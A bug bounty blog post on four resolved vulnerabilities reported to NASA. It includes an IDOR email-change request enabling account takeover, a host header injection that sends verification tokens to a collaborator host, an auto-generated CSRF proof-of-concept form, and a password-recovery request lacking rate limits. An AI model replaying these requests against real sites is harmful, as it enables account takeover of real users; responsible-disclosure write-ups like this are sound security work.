Account Takeovers & more : Hacking NASA

I received 3 letters of appreciation from NASA for finding multiple potential Security vulnerabilities in their systems. In this blog post, I’ll explain all the technical part and non-technical parts of it.

My Approach?

1 - I decided to look for Access Control, IDOR’s, Authentication Issues. So, for that, I need functional assets that have some functionalities that need to be broken.

2 - Hence, I used very basic Google Dorks to find those assets, as a result found some of them.

3 - As a result discovered & reported several security vulnerabilities to NASA (P1,P2,P3,P4).

1 - IDOR leads to 0-Click Account Takeover

P1 : Resolved

Request
POST /registration/updateEmailRequest.html HTTP/1.1
Host: █████.pps.eosdis.nasa.gov
Cookie: {your-cookie};
Content-Length: 89
...snip...
Connection: close

oldEmail=attacker%40email.com&email=test%40email.com&confirmEmail=test%40email.com

Host Header Injection

P2 : Resolved

Host: █████.pps.eosdis.nasa.gov with Host: your-collaborator-id.oastify.com

You’ll receive the verification link in your email as:

https://yourburpcollaborator-is.oastify.com/registration/verifyContact/verification-token/attacker@email.com.html

CSRF leads to 1-Click Account Takeover

P3 : Resolved

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>history.pushState('', '', '/');</script>
    <h1>MAGIC HAPPENS, IF YOU CLICK THE BELOW BUTTON..!!</h1>
    <form action="https://█████.pps.eosdis.nasa.gov/registration/updateEmailRequest.html" method="POST">
      <input type="hidden" name="oldEmail" value="victim&#64;email&#46;com" />
      <input type="hidden" name="email" value="hacked&#64;email&#46;com" />
      <input type="hidden" name="confirmEmail" value="hacked&#64;email&#46;email" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

No Rate Limit on Forget-Password

P4 : Resolved

POST /rms/apis/public/account/recover HTTP/1.1
Host: █████.hec.nasa.gov
Cookie: YOUR_SESSION_COOKIES
...snip...
Connection: close

{
    "username":"victim_user",
    "email":"victim@email.com"}

Conclusion

It took me about 30 min to find these vulnerabilities in one asset. I didn’t perform so much recon, automation ..etc. Just picked up one asset from Google dorks & Started hacking on it. And the vulnerabilities are pretty much very simple & straightforward.

Timeline

loa_nasa